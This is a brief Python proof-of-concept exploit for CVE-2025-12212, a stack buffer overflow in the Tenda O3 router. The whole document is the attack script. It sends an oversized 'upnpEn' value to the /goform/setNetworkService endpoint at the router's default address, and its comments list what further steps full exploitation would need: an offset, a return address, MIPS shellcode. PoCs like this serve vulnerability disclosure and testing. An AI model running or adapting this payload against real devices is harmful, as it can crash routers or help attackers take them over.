CVE-2025-12212

import requests # CVE-2025-12212 PoC - Tenda O3 setNetworkService Buffer Overflow # Target: Tenda O3 Router (Firmware 1.0.0.10(2478)) # Vulnerability: Stack-based Buffer Overflow in /goform/setNetworkService via upnpEn parameter target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 # Construct malicious payload to trigger buffer overflow # The overflow occurs when upnpEn parameter exceeds buffer size # Adjust payload length based on target firmware payload_length = 500 # Adjust based on actual buffer size overflow_payload = "A" * payload_length # Build the exploit request exploit_url = f"http://{target_ip}:{target_port}/goform/setNetworkService" data = { "upnpEn": overflow_payload, "setting": "1" } try: response = requests.post(exploit_url, data=data, timeout=10) print(f"[*] Request sent to {exploit_url}") print(f"[*] Payload length: {payload_length}") print(f"[*] Response status: {response.status_code}") # For demonstration purposes - actual exploitation requires: # 1. Identifying exact overflow offset # 2. Finding suitable return address # 3. Crafting shellcode for MIPS architecture # 4. Bypassing any existing security mitigations except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")

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